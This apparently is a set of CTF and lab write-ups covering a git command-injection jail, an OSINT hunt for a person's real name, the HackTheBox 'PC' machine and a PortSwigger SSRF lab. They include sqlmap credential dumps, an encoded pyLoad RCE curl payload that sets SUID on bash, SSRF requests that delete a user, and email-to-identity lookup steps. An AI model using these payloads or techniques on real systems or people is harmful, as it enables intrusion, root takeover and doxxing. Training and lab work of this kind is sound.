-rw-r--r-- 1 challeng challeng 9 Feb 9 18:07 FLAG
-rw-r--r-- 1 challeng challeng 9 Feb 9 22:49 ay
-rw-rw-r-- 1 root root 8975 Jan 31 22:43 challenge.py
-rw-rw-r-- 1 root root 103 Jan 31 22:19 exec.sh
-rw-r--r-- 1 challeng challeng 9 Feb 9 16:48 nice
-rw-r--r-- 1 challeng challeng 11 Feb 9 17:19 pouet
-rw-r--r-- 1 challeng challeng 9 Feb 9 23:44 test
The book is not found in the current directory.
Nice We got it, The flag is right there !!
The flag: 0xL4ugh{TrU5t_M3_LiF3_I5_H4rD3r!}
-
Misc: GitMeow (medium)
Description
Just another annoying git challenge :)
Author: zAbuQasem
nc 172.190.120.133 50001
Solution
There’s an attached code with the challange and we will care about challange.py file in it
The content is
import os
from banner import monkey
BLACKLIST = ["|", "\"", "'", ";", "$", "\\", "#", "*", "(", ")", "&", "^", "@", "!", "<", ">", "%", ":", ",", "?", "{", "}", "`","diff","/dev/null","patch","./","alias","push"]
def is_valid_utf8(text):
try:
text.encode('utf-8').decode('utf-8')
return True
except UnicodeDecodeError:
return False
def get_git_commands():
commands = []
print("Enter git commands (Enter an empty line to end):")
while True:
try:
user_input = input("")
except (EOFError, KeyboardInterrupt):
break
if not user_input:
break
if not is_valid_utf8(user_input):
print(monkey)
exit(1337)
for command in user_input.split(" "):
for blacklist in BLACKLIST:
if blacklist in command:
print(monkey)
exit(1337)
commands.append("git " + user_input)
return commands
def execute_git_commands(commands):
for command in commands:
output = os.popen(command).read()
if "{f4k3_fl4g_f0r_n00b5}" in output:
print(monkey)
exit(1337)
else:
print(output)
commands = get_git_commands()
execute_git_commands(commands)
When we analyze the code carefully, we will find many important things
The program accepts input from user and this input is used in git command in the format git input
The input is tested against the words in the blacklist
you can execute more than one command
supplying endline means no more input
So we need to make use of git commands to get the flag.
Let’s start the challange
──(youssif㉿youssif)-[~]
└─$ nc 172.190.120.133 50004
_____ _ _ ___ ___
| __ (_) | | \/ |
| | \/_| |_| . . | ___ _____ __
| | __| | __| |\/| |/ _ \/ _ \ \ /\ / /
| |_\ \ | |_| | | | __/ (_) \ V V /
\____/_|\__\_| |_/\___|\___/ \_/\_/
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
I started by trying simple commands like git status, git log and this is done by supplying status & log as inputs
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
status
log
On branch master
Untracked files:
(use "git add <file>..." to include in what will be committed)
../../.dockerenv
../../bin/
../../dev/
../../etc/
../
../../lib/
../../proc/
../../run/
../../sbin/
../../sys/
../../tmp/
../../usr/
../../var/
nothing added to commit but untracked files present (use "git add" to track)
commit c208c6664cc72304ec7803c612c10a4f468338e8
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:31:43 2024 +0000
.
commit 14f7055bac6cffb5e5c052577c4b607ef776de6c
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 21:05:03 2024 +0000
i
commit bc7f31f90f4c9071af36e50059a61fd7630dc2a2
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:58:48 2024 +0000
a
commit ab5579000510625d0c8340b5b5ee06fbb32ac3d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:48:05 2024 +0000
a
commit f57b0e151d5ed760ed6b78af993d8f69a48a0b1a
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:03:30 2024 +0000
dummy
commit 76877ac666f00e4928cbdad873eb1b3d2011ebbb
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:01 2024 +0000
dummy
commit 504f31a3c83e8cca42a9ef17d4bf74b89bff9d66
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:57:00 2024 +0000
dummy
After them i tried to make use of git diff but i got error and the error because diff is blacklisted
So we need to search more and after searching i found it
The command git log --stat -M which provides a detailed overview of the commit history, including file modifications and renames.
[+] Welcome challenger to the epic GIT Madness, can you read /flag.txt?
Enter git commands (Enter an empty line to end):
log --stat -M
commit 4d6f6931ab8c2de5d54755d933ef0c629a2e821b
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Sat Feb 10 00:26:34 2024 +0000
.
Notes:
0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
flag.txt | 1 +
1 file changed, 1 insertion(+)
commit b02cbef94904b3d8247d96568290432a3031b152
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 19:49:18 2024 +0000
a
archive123.zip | Bin 1927 -> 28391 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 27adc7dc97eef4a627344c44df44b2058002e9d0
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 17:00:50 2024 +0000
dummy
archive123.zip | Bin 0 -> 1927 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 90f6d50253dd542fcad7ab2def60e79403212ccd
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:24:39 2024 +0000
dummy
git-diagnostics-2024-02-09-1624.zip | Bin 0 -> 14631 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit 5926449b1592558e499f72e5820fc5518def581a
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:21:38 2024 +0000
dummy
git-diagnostics-2024-02-09-1621.zip | Bin 0 -> 14490 bytes
1 file changed, 0 insertions(+), 0 deletions(-)
commit ca244e18bb33e611af1d4d7397d9ab31d0af7972
Author: zAbuQasem <zAbuQasem@0xL4ugh.com>
Date: Fri Feb 9 16:11:24 2024 +0000
KAY
.gitconfig | 5 ++++
__pycache__/banner.cpython-311.pyc | Bin 0 -> 966 bytes
banner.py | 20 +++++++++++++
challenge.py | 56 ++++++++++++++++++++++++++++++++++++
entrypoint.sh | 22 ++++++++++++++
exec.sh | 18 ++++++++++++
git-diagnostics-2024-02-09-1540.zip | 0
git-diagnostics-2024-02-09-1545.zip | 0
git-diagnostics-2024-02-09-1546.zip | 0
git-diagnostics-2024-02-09-1548.zip | 0
git-diagnostics-2024-02-09-1552.zip | 0
git-diagnostics-2024-02-09-1556.zip | 0
12 files changed, 121 insertions(+)
You got it look at the output again the flag is right there.
The flag: 0xL4ugh{GiT_D0c3_F0r_Th3_WiN}
-
OSINT: Cheater (medium)
Description
Our team received a request from a man who believes his wife may be cheating on him. He asked us to help by checking her accounts for any evidence. He provided his wife’s name, “Hamdia Eldhkawy” and mentioned that a friend informed him she shared a picture with someone on social media. He couldn’t find the image and wants us to discover the man’s real name.
Flag Format: 0xL4ugh{First Name_Last Name}
Solution
Let’s go
First i started searching using Hamdia Eldhkawy using google
after some trials i found nothing useful
I decided to try searching for Hamdia Eldhkawy using bing search
good news, i found an instagram profile instagram_profile
I searched within the profile trying to get useful information for next steps examining
followers
posts
I stuck for a long time here as i thought the followers or the people reacting to her posts maybe interesting, so i spent some time with some reacting users but with no useful information
I also tried using the pictures in her posts in reverse image search, but also with no useful results
Then i noticed important thing that all the posts are about AI generated pictures
This may indicate that she is interested in AI and this gave me a hint to the next step
Let’s go back to bing and search using Hamdia Eldhkawy ai
and we got this results
The OPENAI link is the treasure here OPENAI post
When we go in we find interesting comment from a user called Hamada_Elbes
I remember you, Hamada
Hamade_Elbes was an OSINT challange in 0xl4ugh ctf 2023 xDDDD
anyway let’s back and look at the comment
The comment is: Haha Hamdia, I already caught that :wink: I can share it with your husband <3 with the photo below
After analyzing this image carefully we will find important information
First, The url may move us to the post
Second, Hamdia mentioned her boyfriend in the post but the picture is cropped so we just know that his account starts by spide and this’s not enough
When we try to access the link in the image we willn’t get that post
Maybe Hamdia deleted it ummmmmmmmmmmmmm
Good one, Hamdia but you are too late as Hamada_Elbes caught you xDD
We need to reach that deleted post and in this situation we will think abount web archiving
I tried wayback machine but with no useful results
Then i searched for an alternative and after many trials this worked with me archive.ph
Let’s open it and get the info we need
The treasures in here finally she mentioned spidersh4zly
What are you waiting for?! Let’s search for him on instagram
And this is his account
There’s another link in his profile for more information, and i see that there’s nothing else important
Let’s go to this link
We see many accounts for spidersh4zly after analyzing them i found that all are useless except the gmail
We can use the gmail in getting his real name using a powerful tool called epieos
Go to its site insert the email and let it makes its magic
And here’s the results
We found him. He is Abdelfatah ElCanaway
Congratz we got it.
The flag: 0xL4ugh{Abdelfatah_ElCanaway}
-
PC
Description
Solution
Recon
Applying nmap scan
┌──(youssif㉿youssif)-[~/Desktop/HTBMachines/PC]
└─$ nmap -sV -sC -Pn -p 80,50051 -oA pc 10.10.11.214
# Nmap 7.92 scan initiated Thu Aug 17 12:37:10 2023 as: nmap -sV -sC -Pn -p- -oA pc 10.10.11.214
Nmap scan report for 10.10.11.214
Host is up (0.075s latency).
Not shown: 65533 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 91:bf:44:ed:ea:1e:32:24:30:1f:53:2c:ea:71:e5:ef (RSA)
| 256 84:86:a6:e2:04:ab:df:f7:1d:45:6c:cf:39:58:09:de (ECDSA)
|_ 256 1a:a8:95:72:51:5e:8e:3c:f1:80:f5:42:fd:0a:28:1c (ED25519)
50051/tcp open unknown
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port50051-TCP:V=7.92%I=7%D=8/17%Time=64DDF8D7%P=x86_64-pc-linux-gnu%r(N
SF:ULL,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\x0
SF:6\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(Generic
SF:Lines,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(GetRe
SF:quest,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(HTTPO
SF:ptions,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0
SF:\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RTSP
SF:Request,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\
SF:0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(RPC
SF:Check,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\xff\xff\0\
SF:x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0")%r(DNSVe
SF:rsionBindReqTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0\?\
SF:xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\0\0
SF:")%r(DNSStatusRequestTCP,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0
SF:\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\
SF:0\0\?\0\0")%r(Help,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x05\0
SF:\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0\?\
SF:0\0")%r(SSLSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff\xff\0\x0
SF:5\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\0\0\0\0\0
SF:\?\0\0")%r(TerminalServerCookie,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xf
SF:f\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0
SF:\0\0\0\0\0\?\0\0")%r(TLSSessionReq,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?
SF:\xff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x0
SF:8\0\0\0\0\0\0\?\0\0")%r(Kerberos,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(SMBProgNeg,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\x
SF:ff\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\
SF:0\0\0\0\0\0\?\0\0")%r(X11Probe,2E,"\0\0\x18\x04\0\0\0\0\0\0\x04\0\?\xff
SF:\xff\0\x05\0\?\xff\xff\0\x06\0\0\x20\0\xfe\x03\0\0\0\x01\0\0\x04\x08\0\
SF:0\0\0\0\0\?\0\0");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Thu Aug 17 12:39:34 2023 -- 1 IP address (1 host up) scanned in 143.38 seconds
We got this as an output. We have an interesting service on port 50051
After searching about 50051, we will find that the service is gRPC.
Shell as sau
To access its UI there’s a tool called grpcui explained here
After installing it, we will get access to this GUI.
In the method name field we have 3 options: Login,Register and getinfo
Make sure that burp is opened and receiving the requests.
Let’s try registering using credentials youssif:youssif Then login using these credentials and you will get this response.
We see that we got an id and token.
Let’s go to getinfo and use the id we got 345 => we got this msg
So we will add the token we got in the metadata field and we will get in the response => “message”: “Will update soon.”
We were using burp let’s go to the requests and send them to the repeater to examine them.
getinfo request is most interesting of them and id parameter is vulnerable to sqli and it can be detected using id="345 or 1=1-- u will get a different message.
Let’s go to sqlmap and because this request method is POST so we will copy the request in text file and use it with sqlmap, for more information here
So from the previous link we knew that we will save the request in a file and use this command.
sqlmap -r request.txt -p id --tables
From this we knew that we have two tables accounts and messages, We are interested in Accounts table.
Anyway Let’s dump the table using this command.
sqlmap -r request.txt -p id -T accounts --dump
in the output we will find this
passwords are plain text and the user sau seems to be out goal
Actually, IDK what is the pronounce of this name it seems like Siuuuuuuuuuuuuuuuuu
Anyway, when we use this credentials of sau in ssh we get the shell successfully
Congratzzzz we got the user’s flag
shell as root
Let’s move to Root part.
after some enumeration using netstat -a I found that 127.0.0.1:8000 in listening state.
We will use port forwarding to be able to access it using the command
ssh -L 9001:127.0.0.1:8000 sau@10.10.11.214
So we can access it from firefox using the url http://127.0.0.1:9001
We will find that the process is called pyload and after enumerating the running processes using ps -ef we will find that it’s running process by the root.
After searching for exploit for pyload i found many useful articles like:
1
2
3
All of these are useful i used this POC for the RCE:-
curl -i -s -k -X $'POST' --data-binary $'jk=%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29;f=function%20f2(){};&package=xxx&crypted=AAAA&&passwords=aaaa' $'http://127.0.0.1:4444/flash/addcrypted2'
The url encoded part:
%70%79%69%6d%70%6f%72%74%20%6f%73%3b%6f%73%2e%73%79%73%74%65%6d%28%22%63%68%6d%6f%64%20%75%2b%73%20%2f%62%69%6e%2f%62%61%73%68%22%29
is the command i used which is pyimport os;os.system(“chmod u+s /bin/bash”)
Then we can execute /bin/bash -p using the user sau because /bin/bash got SUID permission.
Rooted !!
I wish this writeup was useful, THANK YOU.
-
-
-
-
SSRF: challange 2
Basic SSRF against another back-end system
Link: https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-backend-system
This lab has a stock check feature which fetches data from an internal system.
To solve the lab, use the stock check functionality to scan the internal 192.168.0.X range for an admin interface on port 8080, then use it to delete the user carlos.
solution
start the lab and remember the objective is to open /admin and delete the user carlos
if u try going to /admin endpoint, you will n’t get the result as u can’t access it directly.
so let’s go to products and click check stock as challange describtion said
intercept this request
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http%3A%2F%2F192.168.0.1%3A8080%2Fproduct%2Fstock%2Fcheck%3FproductId%3D1%26storeId%3D1
notice that stockApi parameter has a url as a value, so let’s try to change it to http://192.168.0.x:8080/admin as said in describtion.
we don’t know the value of x so we will send the request to the intruder for brute forcing to be like this
POST /product/stock HTTP/1.1
Host: 0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Cookie: session=2Gw97cnP5g3C7q7rHceYJzb6gt78siRj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net/product?productId=1
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: https://0aa4001c041a5c3f81caca2000520096.web-security-academy.net
Dnt: 1
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Te: trailers
Connection: close
stockApi=http://192.168.0.§x§:8080/admin
notice that x is between two of § character, as it’s parameter of the brute force
to choose the values of it we will go to payloads tab
change payload type to numbers and make it ranges from 0 to 255 with step 1
start the attack and wait until you see a request with status 200
when you find it this means that this is the suitable ip
back to the repeater and use it with changing the value of the stockApi to: /admin/delete?username=carlos
carlos is deleted
congratzzzzzzzzzzzzzzzzzzzzz
-
Touch background to close